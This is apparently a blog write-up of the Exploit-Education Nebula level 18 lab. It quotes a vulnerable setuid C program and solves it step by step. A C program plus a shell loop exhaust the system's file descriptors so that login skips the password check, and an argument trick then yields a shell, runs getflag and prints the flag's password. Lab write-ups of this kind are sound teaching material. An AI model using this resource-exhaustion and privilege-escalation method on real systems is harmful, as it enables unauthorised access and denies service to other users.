Exploit-Education Nebula Level 18

4 minute read

Exploit Education Level 18

Challenge

Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

To do this level, log in as the level18 account with the password level18. Files for this level can be found in /home/flag18.

Vulnerability

The program looks for a certain string and then calls certain functions.

if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }

In this functions our goal is to execute shell. But the program checks the value of the variable globals.loggedin. If we can set the value of this variable to 1, we can execute a shell. Lets take a look at the login function.

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

We can see that we can login with or without the password file. If we can prevent the program from opening the password file we will be able to set the value of globals.loggedin to 1 and then we can execute the shell. This can be done using up all file descriptors available in the system . If no file descriptors and available then the program won’t be able to open the password file and it will fail the if(fp) check and we can login without the password file.
There is a command to check the file descriptor status in linux.

level18@nebula:~$ sysctl fs.file-nr
fs.file-nr = 5376       0       204482

It shows that 5376 file descriptors are open and a total of 204482 are available. (I have been playing around with file descriptors thats why there are more than 5000 open. Usually the numbers are way lower.)

Solution

Lets write a program that will open files descriptors but won’t close them.

#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
        int i=0;
        for (i=0;i<4096;i++)
        {
                printf ("%d\n",i);
                open("/tmp/open","r");
        }
getchar();
return 0;
}

This program will open a file and then wait for input. We can run the same program simultaneously and use up all the file descriptors. But before that we have to ssh into the box using another window and start our flag18 program. Once we use up all file descriptors we can login. Also we can set the debug file to the terminal so that we can see the output.

Window1

level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -v
Starting up. Verbose level = 1
login
shell
Permission denied

Now we can run our program to use up all the file descriptors

Window2

level18@nebula:~$ gcc filed.c
level18@nebula:~$for i in {1..1000};do ./a.out & done #maybe 1000 is overkill. You can try a lower number too

level18@nebula:~$sysctl fs.file-nr
-sh: start_pipeline: pgrp pipe: Too many open files in system
-sh: /sbin/sysctl: Too many open files in system
[1232]   Done(126)               ./a.out
[1233]   Done(126)               ./a.out
[1234]   Done(126)               ./a.out
[1235]   Done(126)               ./a.out
[1236]   Done(126)               ./a.out

Now we have used up all the file descriptors. Lets login

Window 1

level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -v
Starting up. Verbose level = 1
login
shell
Permission denied
login
logged in successfully (without password file)

Now we have to terminate the programs we ran to pop a shell.

Window 2

level18@nebula:~$for i in {1..100};do kill "%$i";done  
level18@nebula:~$sysctl fs.file-nr
fs.file-nr = 153312     0       204482

Now we lets run the shell

Window 1

level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -v
Starting up. Verbose level = 1
login
shell
Permission denied
login
logged in successfully (without password file)
shell
./flag18: -d: invalid option
Usage:  ./flag18 [GNU long option] [option] ...
        ./flag18 [GNU long option] [option] script-file ...
GNU long options:
        --debug
        --debugger
        --dump-po-strings
        --dump-strings
        --help
        --init-file
        --login
        --noediting
        --noprofile
        --norc
        --posix
        --protected
        --rcfile
        --restricted
        --verbose
        --version
Shell options:
        -irsD or -c command or -O shopt_option          (invocation only)
        -abefhkmnptuvxBCHP or -o option

But its giving us some errors. This is because of the arguments we are passing.

if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }

The program is passing the -d argument to the shell. Which is an invalid argument. So we have to use some other argument before -d which will be ignored by program but it will prevent the shell form causing error. Let use --init-file argument. (You have to run the c program again to use up the file descriptors and then kill it after login)

Window 2

level18@nebula:/home/flag18$ ./flag18 --init-file -d /dev/tty -v
./flag18: invalid option -- '-'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'n'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 't'
./flag18: invalid option -- '-'
./flag18: invalid option -- 'f'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'l'
./flag18: invalid option -- 'e'
Starting up. Verbose level = 1
login
shell
Permission denied
login
logged in successfully (without password file)
shell
ls
--d  flag18  password  -v
getflag
You have successfully executed getflag on a target account
cat password
44226113-d394-4f46-9406-91888128e27a

Solved!